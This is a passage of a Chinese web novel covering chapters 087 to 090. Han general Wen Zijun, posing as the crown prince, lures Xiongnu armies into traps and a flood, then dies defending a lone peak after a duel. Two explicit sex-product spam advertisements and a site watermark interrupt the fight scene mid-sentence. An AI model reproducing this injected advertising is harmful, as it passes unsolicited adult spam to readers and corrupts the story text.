赫连德夫也不多作解释,却叫了匈奴的十个大勇士跟裴致曲较量。大勇士乃是从勇士中选拔出来的,各方面更胜一筹的人。谁知十个大勇士,却被裴致曲只用了三招便全数击倒。他的地位迅速在匈奴龙庭中稳固下来

但是玉儿丹一直不是很喜欢裴致曲,她总觉得这个汉人给人一种令人不寒而栗的感觉。更让她厌恶的是,裴致曲一在龙庭站住脚跟,便大肆收买女人,供其享用。玉儿丹曾为此事向父亲单于说过。但不可否认的是,裴致曲在治理国政,建构军队方面,有着极为过人之处。莫呼骨邪对他的特别嗜好并不在意。

毕竟女人在匈奴的地位是极为低下的。只要裴致曲能够振兴匈奴,再多的女人单于也愿意给他。正是由于裴致曲的辅助,匈奴才得以提前南侵。

裴致曲听了莫呼骨邪的话,不紧不慢地答道:“请单于稍安勿躁。相信万夫长很快就会派人回来禀报,届时便可一清二楚了。并且,以我们与金翼门长久以来的合作来看,他们是没有理由拿虚假的情报来糊弄我们的。”

“报——”话刚说完不久,便听见有人来报告了。

一个匈奴勇士进了中军帐,行了一礼,见单于示意才禀道:“禀大单于,万夫长已经探得藏月谷里的汉军实情,汉军中的确有一金黄长袍的年青人。而且汉军总共只有一万三四千人,已经战死约五千人,也就是说,目前藏月谷大概只有八千汉军。”

莫呼骨邪听了,望向裴致曲。

裴致曲稍作沉思,尔后说道:“虽然跟金翼门给我们的情报有所出入,但想来那些汉军乃是后面追加的,我们不用过于担心。”

莫呼骨邪听了,心下便觉大定,说道:“好!”然后对那报告的匈奴探子说道:“传令回去,叫万夫长围歼那八千汉军。记住,那个金黄长袍的年青人却是要活捉!”

匈奴探子听了,应了一声,便行礼出去传令了。

玉儿丹这时站出来,对其父亲说道:“父王,玉儿丹也想去看看!”说完玉手轻摇莫呼骨邪的粗臂。

莫呼骨邪用充满爱意的目光看了玉儿丹一下,随即便望向裴致曲。意在询问裴致曲是否可以率军进入藏月谷。

裴致曲听了探子回报,心里亦是笃定不已,便向大单于微微点了点头。但很快又说道:“还是等等再说吧。不过大单于可以传令下去做好进谷的准备。”

莫呼骨邪听了,欣然下令。玉儿丹听了,却又不满地噘起了红唇。

等了一会,玉儿丹都有点不耐烦,偏偏她父王在某些方面又很听裴致曲的话,让她莫可奈何。

这时,又一个探子来报。

此人行色匆匆,急冲冲地进了中军帐,报道:“禀告大单于,我军与汉军在藏月谷激烈交战,已经损失一万三千人,而汉军,汉军,汉军只损失了三千人。”说到后面,这个探子头脑直冒冷汗,达到了汗出如浆的境界。

“什么?!”莫呼骨邪有如金字塔般的身躯突然蹦了起来,“我们损失了一万三千人,他们却只损失了三千?”一脸的不信。

裴致曲亦是不信,但他并未发怒,反而平淡地对那探子说道:“你把战况详细地说与我们听听。”

第三卷 沙场秋点兵 第087章 诱敌深入

温子君在谷中拉起了四道绊马索,说是绊马索,其实只有前面四道是绳索,后面一道却是两根巨木。

天渐渐暗下来,匈奴的两万铁骑直向八千汉军冲过来,却丝毫没有察觉出有绊马索。

于是,在前头疾奔的骑兵被第一道绊马索绊倒。前冲的奔马被蹄下的绳索绊倒,马上的匈奴骑兵纷纷被抛到前面去。而疾奔在后面的铁骑亦是收势不住,有点被绊马索绊倒,有的却是被倒地的马匹或骑兵撂倒。

接着,第二道……

第三道……

真正到了第三道绊马索,被绊倒的匈奴铁骑几乎没有。

他们这下学乖了,减缓了马速,并且还派人先去探路,将第三道绊马索找了出来。

万夫长望着远处火把下的黄金长袍青年,知道那就是大单于下令要活捉的汉国太子。只是,那个太子是个笨蛋吗?居然特意点燃火把,将自己暴露在敌人面前。

就在万夫长犹豫要不要冲杀过去时,他们两万铁骑的尾部两侧突然出现了几十几百个大火球。

火球全是由林间的枯枝夹着绿叶捆成的,外层是枯枝,里面是新叶。

刹时之间,匈奴铁骑尾部成了火的海洋。燃尽外层的枯枝,里面的新叶却难以燃烧,但是冒出了呛人口鼻的浓烟。

马上的骑兵虽然一时慌乱,不过,应该能够很快镇定下来的。但是马匹却不会镇定,大凡兽类,都是极为怕火。火球一滚落下来,群马俱惊。三面有火,唯有前面是出路。于是,尾部的马匹受到火光的惊吓,俱都不受马上的骑兵控制。纷纷往前面冲去。

如此一来,就像海潮一般,骚乱从匈奴铁骑的尾部不断向前漫延过去。其中夹杂着漫骂声,惨呼声。

最前面的万夫长还没明白发生了什么事,便被后面地铁骑推着往前奔去。

这时,汉国太子那里突然火把皆灭。而匈奴两万铁骑的长龙两侧都适时地滚下了无数大火球。

一时之间,匈奴铁骑大乱,万夫长根本无法掌控。许多人马互踏,纷纷死在自己的铁蹄下。而此时,他们还没与一个汉军兵刃相向。

巨木做成的绊马索可不比绳索。绳索多冲几下便会被冲断,可是巨木甚为坚固。马匹都被阻挡在前面。后来的骑兵是践踏在前面的马匹上才冲过第四道绊马索的。

只是,刚刚冲过第四道绊马索的骑兵尚没反应过来,便被一阵箭雨射中,纷纷中箭落马。有些仍然存活的马匹则继续往前冲去,消失在黑暗之中……

接下来,匈奴铁骑的噩梦才渐渐开始。

藏月谷两旁各有三千汉军突入匈奴铁骑地长龙中。开始了短兵相接的厮杀。他们八人一组,配合极为默契,有使刀者,舞枪者,拿盾者,弩箭手各两人。八人分工合作,向正处在骚乱不已地匈奴铁骑展开了屠杀。

大单于莫呼骨邪听了报告,气急败坏地大骂起来。

裴致曲亦一阵默然。他不得不佩服对方的将领,八千人对上两万人,居然只损失了一千人。却杀敌一万多。而其中关键的便是那些火球,如果没有火攻,只怕战局将会逆转。

“报——”一个卫兵急急忙忙地冲进来报告。

“大单于,玉儿丹率领五千骑兵往藏月谷赶去了!”卫兵说道。

“什么?”莫呼骨邪环顾四周,才发觉竟然不知道玉儿丹什么时候偷偷出去了。望向裴致曲,裴致曲亦表示不知道。

“报——”一个探子进来。

“禀大单于,汉军渐渐向藏月谷的东北方向逃去。请问是否追击?”那探子说道。

莫呼骨邪听了,却先问道:“见到玉儿丹了吗?”

“是的。她率着五千骑兵刚刚进入藏月谷。”探子回道。

裴致曲突然接道:“单于,只怕玉儿丹她要去追击汉国太子!”

莫呼骨邪稍加思索,便断然说道:“传令下去,大军向藏月谷进发!叫五万匈奴精骑做好准备。本王要亲自去追击汉国太子!”八五八书房

汉国太子乃是莫呼骨邪志在必得的猎物。他跟金翼门合作。就是要活捉汉国太子,尔后以此要挟汉国皇帝。

莫呼骨邪的这一命令。实际上是匈奴的催命符。他的这一命令,将会让匈奴的后续部队陷入万劫不复之境。如果温子君知晓,一定会感激玉儿丹,让他的水攻之计不至于胎死腹中。

温子君及剩下的七千亲卫军开始往藏月谷的西南方向退去。

西南方向是从藏月谷的南口来说的,而匈奴探子所说的东北方向是从北口来说地,其实是指同一个方向,那就是——岱海湖方向。

裴致曲下马检查了一番汉军退走时行过的地方,不无担心地说道:“单于,这些汉军退时步伐并不凌乱,且速度极快,应该是一支精良的队伍。玉儿丹遇到他们,只怕危矣。”

莫呼骨邪听说自己的女儿有危险,急了,不由催促着匈奴精骑尽快向前赶。

裴致曲告诫道:“单于,您还是小心一点为好!我总觉得这里面透着一丝古怪。”

莫呼骨邪冷哼一声,说道:“区区七千汉军,还能玩出什么花样出来?我们走!”说完便策马往前冲去。

与此同时,匈奴大军开始进入藏月谷。

莫呼骨邪决定,一旦活捉了汉国太子,便连夜赶往青龙郡。

莫呼骨邪与裴致曲已经追到了大黑河。裴致曲就着火把看到大黑河两侧的新泥,心里一动,继而大为震惊。他想到了汉军为何要往这个方向逃了——水攻!

“单于!快!上高地,快上高地!”裴致曲大声地喊道,声音要多急切就有多急切。

莫呼骨邪还是首次见到裴致曲这么大呼小叫地,平常的裴致曲都是非常从容淡定,遇事不紧不慢的。大单于知道裴致曲不会无的放矢,便立即带领着精骑往高地上冲。

“轰隆轰隆!”

有如雷响的巨声从大黑河上游传来。

裴致曲听了,脸色大变。歇嘶底里地催促着匈奴精骑往高地上冲。

巨大的水头出现了,夹杂着巨木及沿途冲刷出来地巨石,声势浩大地向下冲来。

刹时,浊浪翻腾,黑褐色地河水泛着无数的泡沫,舞着比平常涨大了几十几百倍地身子,像一头发疯的猛兽,张着吞噬一切的巨口,咆哮着冲往藏月谷。

莫呼骨邪率领的五万精骑,有一万人马没能及时冲上高地。被巨大的洪水冲得无影无踪。还算是裴致曲发现及时,让莫呼骨邪能够在洪水到来之前冲上高地。否则的话,只怕连莫呼骨邪在内的匈奴精骑将会全军覆没。

洪水中夹杂着巨木滚动地声响,还有巨石相互碰撞的铿锵声,冲进了藏月谷。刚刚进到谷中地匈奴主力部队的前锋队伍,还没有反应过来,便被洪水水头冲撞得一命呜呼。接着是后面的队伍。许多人叫马鸣的惨呼声不断地传出,在藏月谷中回响,成为真正的绝唱!

莫呼骨邪站在高地,听到谷底传来部下的声声惨叫,怒急攻心,差点从马上栽下来。他双手攥紧马缰,脸上肥肉不住地跳动,嘴里怒吼道:“汉国太子!本王不亲手捉住你誓不为人!现在所有将士听令,沿着高地往河地上游进发!一定要活捉汉国太子!为我匈奴勇士报仇!”

莫呼骨邪率着四万精骑沿河到达岱海湖时,湖水也已流泻一空。露出了满是水草及淤泥的湖底。

湖畔上及湖底里,横七竖八地躺倒无数匈奴骑兵的尸体,还有马匹的尸体。非常明显,这里有过极为惨烈的厮杀。

有人在地上找到了玉儿丹的弯刀,却没有见玉儿丹的尸首。

显然,玉儿丹带人追到湖边,却受到了猛烈的攻击,最终全军覆灭。玉儿丹不见,一是可能被湖水冲走,二是可能被汉军掳去。

裴致曲下令勘探了一番周围的地理环境,然后才对尚在暴怒中的莫呼骨邪说道:“单于。据刚才斥侯所探。这个湖的东部是沙漠之地,上面没有任何人走过的痕迹。湖的西北有一片树林。林边有许多被人践踏过的低矮小草。汉国太子一众显然是从那片树林逃走的。”

莫呼骨邪听了,二话不说,便要指挥四万精骑向树林扑去。

裴致曲连忙阻止道:“请单于三思,都说逢林莫入。我们应该提防树林里有诈啊。”

莫呼骨邪听了裴致曲的话,心里甚是不悦,说道:“你们汉人就是这样,做事总是犹犹豫豫。如果当时我们不等一会,直接进谷的话,或许在谷里就把汉国太子活捉了呢。哼!那片树林就算是刀山火海,本王亦是要闯他一闯!”

见裴致曲还要说什么,莫呼骨邪伸手阻止道:“裴先生不用多说,本王已经下定决心!”说完,再也不顾裴致曲,径自策马往树林奔去。

裴致曲无奈,只得跟上。

莫呼骨邪毕竟是匈奴的大单于,虽然有点不满裴致曲,但还是派了三千精骑先入林探察一番。

果不其然,三千精骑进入树林不久,便传来了人呼马嘶的惨叫。接着便有人出来报道,说里面有许多狩猎的陷阱,从布置的新痕来看,应该是汉军刚刚设下的。

温子君曾经在黎族见识过王骆和赛石他们丛林作战方式中地陷阱,还对此叹为观止,自然是好好偷师一番,铭记于心。如今正好派上用场,他在树林里布置了一些简单的陷阱,便让匈奴骑兵吃了不少亏。

匈奴作战擅长的是在辽阔的草原上来回冲杀,对于丛林战却是没什么经验。但他们毕竟人多,在损失了一部分勇士后,逐渐掌控了整片树林。可是汉军已经躲进深山老林里去了。

莫呼骨邪这次是铁了心,不捉到汉国太子誓不罢休。更何况,他女儿玉儿丹还有可能在汉军手中。于是,他率军继续向深山里追去。

追了差不多半个夜晚,月亮正好穿出云层,乳白的光华照射下来,前面出现了一座耸立着的山峰。

裴致曲颇为高兴地对莫呼骨邪说道:“单于,你放心,这次汉军绝对逃不了。”

莫呼骨邪听了,问道:“哦?裴先生怎么会有此一说?”

裴致曲指着前面说道:“单于你看前面,那是一座孤峰,虽然海拔有点高,但是三面临渊,唯有我们面前这条路。汉军逃往这座孤峰,等于踏进了绝路。那汉国太子还不是手到擒来?”

莫呼骨邪听了,大喜,说道:“这样就好!好!那我们就来个水缸里捉王八吧!”

“瓮中捉鳖”他是说不出来,但意思却表达出来了。

裴致曲点了点头,阴沉的脸亦有一丝笑意。

温子君率领七千亲卫军退往岱海湖,他知道匈奴军是不会放过“汉国太子”的。但是很快就发现匈奴军没有追上来,正在纳闷时,却又见匈奴军里冲出五千骑兵,为首的却是一个姑娘。温子君见这位姑娘的穿着甚是不凡,知道来了重量级的人物,心下大喜,故意用火把晃着“太子”的黄金身影,往岱海湖方向退去。

匈奴的那位带头的姑娘正是玉儿丹。她听说己方两万人居然敌不过敌人八千人,心里怒火中烧,觉得那些铁骑全都是脓胞,便想着自己亲自前来,下定决心要捉拿住汉国太子。

玉儿丹见到汉国太子往深山跑,心下大急,便策马扬鞭地往前追去。那五千骑兵见状,也只得紧随其后,往山上追去。

玉儿丹眼里只有身穿黄金长袍的汉国太子,一路追赶,终于在岱海湖畔追到了。其实是温子君停下来让她追上的。

双方展开了厮杀。

第三卷 沙场秋点兵 第088章 孤注一掷

两军交战,形势却是一边倒。

匈奴军擅长的是骑兵作战,在这样的湖畔进行短兵相接的战斗却是极为不适。加上不知从何处射出的强劲的弩箭,五千匈奴骑兵迅速灭亡。

玉儿丹自恃武功高强,以为可以在乱军中轻松将汉国太子活捉。只要捉住汉国太子带回去给父王,牺牲那五千骑兵也是值得的事。

谁知此“汉国太子”非彼汉国太子。

玉儿丹的功夫在匈奴龙庭的确算是一流的。但是,一来她是匈奴大单于的宝贝女儿,又是国师赫连德夫的爱徒;二来她正值青春年少,貌美如花,是匈奴勇士心中的理想伴侣。因此,她的一流武功里,十成最起码有一成是别人哄抬上来的。

以温子君的武功,玉儿丹的实力也就是跟还没相认的霜冷双妹差不多。因此,温子君根本就没有给玉儿丹任何机会,五招之内便将玉儿丹制住。

全歼了匈奴的五千追兵后,温子君听见下面传来的部队狂奔的声响。于是下令将岱海湖的缺口打开,把整个岱海湖的水都放了出去。

尔后,温子君带着受制的玉儿丹,从岱海湖旁的树林里撤退,并在树林中设下了无数陷阱。

他顺利地用水攻之计把匈奴的后续部队摧毁,已经成功地把匈奴大单于莫呼骨邪的注意力吸引过来,更何况手中还有大单于的宝贝女儿。

莫呼骨邪自然对温子君紧追不舍。

※※※※※※※※※※※※

温子君自己也没有想到,他竟然逃上了一座孤峰。

当时月色躲在云层里,也来不及探路,说句不好听的,在后有追兵的情况下,是有点——慌不择路了。

可是,上了孤峰绝顶。温子君才发现这里只有一条下山的路,而这条下山的路,有约四万的匈奴精兵围堵着,并且,正在步步逼近。

温子君仔细地勘察了周围的地形。峰顶是一块颇为宽阔地平地,由巨大的岩石铺成。四周还散乱地堆着许多或大或小的石块。

再将剩下的亲卫兵集合起来,对人数,武器的数量作了仔细地检查。现在包括温子君在内,共有七千三百八十二人,其中有四百六十一人受了或大或小的伤。每人有一把斩马刀。弩箭尚有九千八百四十五支。

这就是温子君的全部战力。

夜空没有一丝云。皓月当空。

温子君甚至可以见到山下匈奴精兵的兵刃反射着的清冷月光。不知为何,他突然想起了张若虚的《春江花月夜》:“江畔何年初见月。江月何年初照人。”

这两句,把古今融合,凝结着万年光阴,既缠绵委婉又气象万千,既清冷孤绝又愁思满怀,以月地亘古无衰返观人的渺小短暂。以千万里地滟滟波光反衬芳甸花林的霎那风华,踟蹰再三,吟咏再三,无可排遣。

究竟是谁最先在江畔看见这明月呢?江月又在什么时候开始照着人呢?人生代代绵延无已,但江月却年复一年没有变化。

月亮在天上看尽世间的荣辱兴衰,炎凉淡薄,看尽天下战火纷飞,家破人亡,妻离子散。但是,它从亘古到如今,依旧东升西落,阴晴圆缺,没有丝毫变化。

世间的不同种族的人,生活在同一轮明月下,呼吸在同样的空气中。喝着同样的水,却为何要相互争夺?为什么不同种族的人就不能和平共处呢?就不能一起喝着酒,赏着同一轮明月?

站在孤峰之巅,群山踏在脚下。明月当空照,给温子君的却是孤寂与清冷,宛如他现在的处境。

“将军!第一道防护栏已经完成。正在砌第二道。”连璧近前来报道。

“连璧!”温子君叫道。

“是。将军。”连璧应道。他知道将军还有话说。

“你看对面那轮明月,有什么感想?”温子君问道。

连璧搔搔头想了想。说道:“将军,属下没读什么书,但有一句李白的诗却还记得——‘月是故乡明’。看到月亮,就让我想起了故乡,还有故乡里的爹娘和小妹。”

温子君听了,哑然失笑。因为“月是故乡明”是杜甫的诗句。但他没有指出连璧的这个错误,却又问道:“山下正有多我们数倍的敌军围下来,你害怕吗?”

“不害怕!”连璧的回答短而有力,“我知道,不,是我们,我们所有的将士,知道现在在干什么。为了保护故乡的亲人,为了捍卫国家的尊严,就算要我们抛头颅,洒热血,我们也在所不惜,哪怕是——舍弃生命!”

温子君听了,心头不由一颤,一种莫名的感动迅速在身体里扩散。他大笑道:“好好好!好一个‘抛头颅,洒热血’!不错,为了国家的尊严,为了家里的亲人,我们就是战至最后一兵一卒,亦决不投降!”

现在,只有孤注一掷了。

说是防护栏,其实就是将一些可以搬挪得动的大石小石堆垒起一道石墙。一来用于阻挡匈奴精兵前进,二来可以以此为阵地,向敌人射箭。

由于人数不多,温子君下令只设三道防护栏。

第一道防护早已砌好,一千弩箭手已经在石墙下做好一切准备,每人六支弩箭。第二道亦是一千弩箭手,剩下的弩箭都在他们手中。第三道防护栏后面没有弩箭手,只有手执斩马刀的将士。

莫呼骨邪率着近四万的精锐,缓缓向孤峰围上去。

汉军堆砌的石墙已经出现在眼前,石墙的后面,若隐若现地出现了一个黄金长袍地身影。

大单于不得不佩服这支不及一万的汉家军,虽然是仓促之间垒起的石墙,却是那么坚固,宛如九十里外的汉家长城城墙。

没有犹豫,莫呼骨邪便下令自己的勇士们向那道石墙攻去。石墙后面,是他志在必得的汉家太子!

匈奴精锐握着兵刃,缓缓向石墙逼去。

兵刃上反射的寒光,就连天上的明月也黯然失色。

月亮渐渐偏西,似乎不想见到孤峰上的厮杀而逃离。

战斗即将打响!

第三卷 沙场秋点兵 第089章 血溅孤峰

一百步,七十步,五十步,二十步……匈奴精兵离第一道防护的石墙越来越近。

可是,石墙后面没有一点动静。难道这道石墙只是虚设的防护栏?

十步,只有十步的距离!

异变突起!

石墙后面仿佛是凭空出现了一千个汉军和一千张经过改装的诸葛弩。弩上的箭矢早已蓄势待发,甫一出现,便带着尖锐的破空声纷纷射向近在咫尺的匈奴精兵。

一时间,箭矢有如暴雨般全落在匈奴精兵的身上。在如此近的距离里,匈奴精兵根本没有时间闪避,冲在前面的被射倒一大片,有的甚至身中数箭。跟在后面的匈奴精兵见状,只得往后退,边退还边挥舞着手中的兵刃格挡弩箭。

一阵箭雨过后,那一千汉军又全都躲进了石墙后面,再无动静。

汉军一个没伤,而匈奴却死伤无数。

莫呼骨邪见状,心里大怒,很快又组织了第二次进攻。

这次,走在前面的匈奴精兵都持着可以挡弩箭的盾牌。有了盾牌,就再也不怕汉军的弩箭了。

再一次到达距离石墙十步左右,匈奴精兵都不由地停驻了前进的脚步。但是等了一会,却不见有汉军探出来射箭。

于是匈奴精兵再进,只前进了三步,却又见异变突生。

这次不是汉军的弩箭手突然冒出来射击,也没有汉军从石墙背后跳出来冲杀。让匈奴精兵大骇的,是那本来是石墙的一部分的大小石块,竟然突然裂开,直直地飞射出来,向他们砸去!

石块可不比弩箭。弩箭靠的是锐利,固然强劲,但是毕竟体小。只要有足够坚固的盾牌,还是能够抵挡得住。可是石块靠的是力量,即使用盾牌挡住了它,但是其砸中的力量绝对不可小觑。

刹时,匈奴精兵手中的盾牌有的被砸裂,有的是连盾带人一起砸倒在地。砸中了目标的一些大块的石头又继续往下滚落,再次砸伤了沿途的一些匈奴精兵。有几块不断翻滚的大石都砸到了莫呼骨邪的面前。

当那道石墙的石块全都飞开后,匈奴军见到了一个有如巨神般地黄金人影,稳如泰山一般矗立在不见了的石墙之后。

莫呼骨邪大惊,难道那就是汉军太子?那些大大小小的石块真是他激射出来的?要将那堆砌石墙的大小石块推出。可不是一般的人能够做到的。那需要有十分深厚的功力。可是金翼门并没有说汉国太子是一个绝世高手啊!难道他们又骗了自己?

裴致曲见状,心里亦是暗自大震。他知道自己遇到了一个对手。而此人竟然是朝庭的太子!发现了一个高手,没有让裴致曲感到畏惧,反而激起了他满身的斗志。他的眼中满是战意!

就在匈奴全军上下震惊之时,温子君已经退回到了第二道防护石墙后。

先是弩箭射击,接着是石块砸击,并且都在敌军逼到面前才发射。让敌人避无可避。这些全都是温子君事先已经计划好的。

温子君的布署,的确给了莫呼骨邪极大的打击。但也激发了匈奴大单于的凶性。

莫呼骨邪接着下了死令,不管前面有什么射来,都不许后退半步!

第二道石墙再次给了匈奴精兵极大的阻击。但此次匈奴勇士没有一人退后,他们甚至将前面已经死去的战友当挡箭牌,不断向石墙靠近。

如此一来,一千汉军弩箭手来不及退守最后一道防线,便被已然冲上来地匈奴精兵围住而厮杀在一起。

由于匈奴精兵如同战车般推进到石墙下,温子君亦无法再把石块激射出去。见到那一千弩箭手陷入险境,温子君一声令下。带了两千人冲出去,与翻过石墙的匈奴精兵战到一团,并且边战边退,把剩下的七百多个弩箭手带回了最后一道石墙后。

还好温子君果断下令,才没有使一千个弩箭手覆没在第二道防护石墙里。只要稍加犹豫。后果便不堪设想。

莫呼骨邪攻下第二道防护栏后,没有停歇,换了一批匈奴勇士,发起总攻。因为时间拖得越久,对汉军越有利。

最后决战终于来临。

月亮的身影已经越来越淡,就要消失在西山的后面。而东方已经渐渐发白。新地一天即将来临。

温子君率着剩下的亲卫军在最后一道防护石墙后面严阵以待。他们的箭矢已经在前面两道防护石墙发射殆尽。所有人都握紧了手中的斩马刀。

身后是万丈深渊。他们已经没有退路。前面则是比他们多数倍的匈奴敌军。他们没得选择,只有奋力一搏。将手中的斩马刀送进敌人的身体里去。

望着冲杀过来的匈奴大兵,温子君大声喊道:“弟兄们!我们一定要守住最后的阵地,不用多久,我们的援军一定会赶来的!为了我们心中的那轮明月,杀!”

“为了心中的那轮明月!”七千亲卫军大声吼道,“杀!”

声音响彻大地,把许多尚在美梦中的宿鸟惊醒,扑闪着翅膀纷纷冲上云霄,似乎想要寻找出巨响的出处。

所有汉军肃立在孤峰绝顶,手握兵刃,要跟敌人进行殊死搏斗。

山高人为峰。

他们已经成了孤峰的一部分,峰顶就是他们所要拼死守住的最后阵地。他们是国家最巅峰的力量,是百姓需要仰视的一座座高峰,是亲人们心中不可撼动的山峰。

温子君将队形排成一个扇形,自己居中策应。他们后面是时刻准备着的战友。

来了,来了,终于来了!

匈奴精兵终于翻过了最后一道石墙,但迎接他们的是一道道闪着寒光的死神的镰刀。许多匈奴精兵刚与汉军接触,便被斩杀。但他们有源源不绝的勇士不断涌过来,亲卫军一进杀不了那么多,便让他们站稳了脚跟,开始面对面的真正厮杀。

双方交战的战士都在迅速消亡,但很快又被后面的战友补上,继续厮杀在一起。

东方还未升起朝阳,可是孤峰顶上早已被染红——被鲜血染红!血已成河。

第三卷 沙场秋点兵 第090章 将星陨落

一个个亲卫军在温子君的身边倒下。他们倒下的时候,脸上没有任何畏惧,有的是坚毅,为了祖国,为了亲人而献身的自豪。

温子君全身的热血沸腾了,他的战意被一个个倒下的战友所激起,有如熊熊烈火,似乎要点燃尚未升起的朝阳。

温子君的墨剑如同一条黑色的龙游走在最前线。哪里情况紧急,哪里就会出现他的身影。只要出现他的身影的地方,便会有大片的匈奴精兵倒下。这个地方的紧急状况便会稍为舒缓。尔后,在敌人尚未反应过来时,他又出现在另一处情况紧急的地方。

面对杀之不尽的敌人,温子君这样武功卓绝的高手,亦是难以应付。因为敌人才不管他是什么谈笑间杀人于无形的高手,杀得红了眼后,便不顾一切地扑向温子君。他们简直成了人形兵器,根本就不在乎温子君的墨剑会划断他的手脚,腰腹,甚至头颅。

如此一来,即便如温子君这样的绝世高手,也无法完全避免匈奴精兵不要命的打法,而导致身上受了一些伤。当然,都是一些很轻的伤。

杀到后来,温子君自己都有点麻木了,他几乎是下意识地挥着墨剑。但他每一次挥剑,都是乾坤八剑中的招式。

火剑,雷剑,水剑……在这种混沌的状态下,每一招剑法反而更见威力。当然,他的内力亦消耗极大。

把面前的最后一个匈奴精兵斩杀后,温子君忽然发现身边已经没有一个站着的人,除了他自己。不管是自己的战友,还是敌人,他身边都没有站着的了。

他的战意突然锐减下来,墨剑无力似地低垂下来,刃上还有缕缕鲜血不断汇聚在一起,从剑尖上滴落地面。

全都死了,自己的亲卫军,全部都已经战死!

望着明月满脸思念的连璧,就倒在温子君的身边。他的左手已经不知去向,右手却掐在一个匈奴精兵的喉结上,如同石化一般,至死也没有松开。他的双眼并没有闭上,而是朝着西方,那天空中的月亮正在渐渐消融。

还有那一个个喊着“为了心中的那轮明月”的亲卫军,横七竖八地倒在了血泊当中。

剩下的匈奴精兵都退到了石墙旁边。从他们中间走出两个人来。正是匈奴的大单于莫呼骨邪和裴致曲。

莫呼骨邪站出来,双眼却望向温子君身后不远的一块巨石上。那块巨石有如一间房子。其中一部分还伸出峰顶,悬空在万丈深渊上。而大单于所关心的,并不是那块巨石会不会掉落深渊。他关心地,是巨石上的边沿处躺着的他的女儿玉儿丹。

接着,莫呼骨邪才转而望向温子君。一个高而瘦削的人,提着一把滴着血的黑剑。站在千万尸体中央。那是一种无法形容的震撼。虽然是敌人,但是莫呼骨邪依然对这个敌人充满了敬意。

不仅是大单于,就连旁边的匈奴精兵,面对杀了自己同胞无数的汉人,亦无法掩饰地流露出敬意。他们是游牧民族,崇尚的就是能够一夫万敌的勇士,就算这样的勇士是敌人,他们也一样尊敬。

莫呼骨邪朗声说道:“阁下果然是一位万夫莫敌的勇士。只是让本王不解的是,阁下真的是汉国的太子?”他用的是汉国语言。

温子君冷冷地站在原地,听了莫呼骨邪的话。忽然抬起头来,冷冷地望了这个匈奴的大单于一眼,然后将身上那件早已染满鲜血的太子长袍撕了,露出一身蓝色的劲装。

尔后,他才缓缓地说道:“我堂堂汉国太子。岂能如此轻易涉险?我乃平南将军温子君是也!”

莫呼骨邪与裴致曲听了温子君的话,俱都一惊。

裴致曲连忙接道:“你真的是平南将军?”

温子君傲然地一挥手中的墨剑,说道:“如假包换!”

听了温子君的话,裴致曲突然大笑起来。他这一笑,不仅让温子君感到意外,就是莫呼骨邪听了,亦感到有点不解。

裴致曲停下笑来。对温子君说道:“真是‘踏破铁鞋无觅处,得来全不费工夫’!有个朋友托付于我。一定要我把温将军带到他面前。我还一直在思量着如何办成这件事呢,没想到你竟然自己送上门来了!好好好!”

此时的温子君才不管裴致曲的朋友是谁,为何要把他带去。他再次挥了挥手中的墨剑,冷声说道:“想要带我去见谁,就先问过我手中的墨剑吧!”

裴致曲听了,亦是冷笑一声,说道:“很好!”继而转身对莫呼骨邪说道:“单于,就把他交给下官吧。”

莫呼骨邪听了,点了点头。

裴致曲亦脱了自己的长袍,露出一身灰色的劲装。他从腰间抽出一把软剑来,在空中抖了几下,忽然变得笔直,剑尖指向温子君。

一道无形的劲气锁向温子君。

温子君心里叫苦不迭,他的乾坤内力在前面的杀敌中已经消耗了七八成。刚才站在原地悄悄地运起乾坤心法,只恢复了两成的功力。也就是说,他如今只有平时五成的功力。

显然,匈奴军中的那位汉人的武功也是一流的。如果是平时,他有六成的把握获胜。可是现在,他不知有没四成获胜的把握。

但是,温子君依然一脸平静,双眼微闭,左手自然垂下,右手握剑斜指地面,给人一种高深莫测的感觉。

就在这时,裴致曲动了。他的步法左右飘乎不定,有如一条毒蛇在蜿蜒前进,不过速度却比蛇行更快。他手中的软剑亦是在空中起伏不定,犹如毒蛇吐信,直向温子君袭去休息一下 广告时间:金冠信誉人气第一充气娃娃自慰名器 买一送7 日本品牌代言 内部全仿真阴道倒模 点击进入

休息一下 广告时间:持久延时 外用成人用品 黑寡妇煞星 早泄克星 点击进入。

温子君一咬牙,看准时机,手中的墨剑适时地划出一道弧线,自下而上,划向裴致曲的软剑。他相信,凭着墨剑的锋利,定然能够一举削断对方的软剑。

只是,墨剑的锋利,裴致曲早在前面便已知晓。他亲眼目睹了温子君的墨剑一下子削断了匈奴精兵五个人的兵刃。

于是,裴致曲见到温子君的墨剑划向自己的软剑,立即手腕轻抖,软剑刹时有如绫缎一样,卷向墨剑的剑刃。

一旦被软剑缠住,墨剑便无法脱身。于是温子君果断地撤回了划出去的墨剑。

一切都是发生在电光火石的瞬间,双方的兵器都没有碰撞一次,便互相攻防了一招。

接着,两人便缠斗在一起。

你来我往,兔起鹘落。转眼间便交手五六十招。

两人的攻防都极为精彩,把所有人的眼球都吸引住了。就连莫呼骨邪亦不例外。

但是一百招后,温子君渐渐支持不住,整个人相形见绌,有点力不从心。额上亦冒出许多汗珠。

两个人影一触即分,然后互相对恃起来。

温子君身上多了几道深可见骨的剑伤。一道在胸口,一道在左臂,一道在右脚。除了这些重伤,还有许多浅伤。

裴致曲只有一处剑伤,就是左臂被刺穿,暂时无法动弹。但他的气息仍然平缓,比温子君更淡定。

裴致曲淡淡说道:“很好。再接我一招!”说着,便将手中的软剑舞成一个剑气团。尔后,他大吼一声,冲向温子君。

温子君见状,亦唯有最后搏,施出艮剑剑法中的“岿然不动”。所有乾坤内力尽出,幻成一道气墙,有如实质地竖在面前。

两人相碰,“轰!”一声巨响。

裴致曲的剑气团碎成虚无,他整个人都倒退回去,嘴里还喷出了一口鲜血。

温子君的气墙亦是破碎虚空,他同样喷出一口鲜血。人亦倒飞出去,却刚好撞在峰顶上的巨石上的玉儿丹身上。

温子君再也收势不住,两人一起被余劲推出巨石,往深渊里落去。

莫呼骨邪见了,厉声急呼,却只能眼睁睁地看着自己的女儿陪着敌人葬身崖底。

就在大单于伤心得要暴走之时,却见从崖下抛上一个人来。他定睛一看,赫然是他的宝贝女儿玉儿丹!

莫呼骨邪扑了过去,一把抱住自己的女儿。

玉儿丹并没有昏迷,她一直都在看着峰顶所发生的一切。此时,她双眼迷离,却一声不吭地躺在莫呼骨邪的怀里。

望着见不到底的深渊,莫呼骨邪一切都明白了。他知道,那个汉国的平南将军,在最后时刻,把玉儿丹抛了上来。

莫呼骨邪把着玉儿丹跪倒在深渊之上,而他身后的匈奴精兵,都一齐跪倒在地。他们跪拜的,是一位值得他们尊敬的敌国英雄。

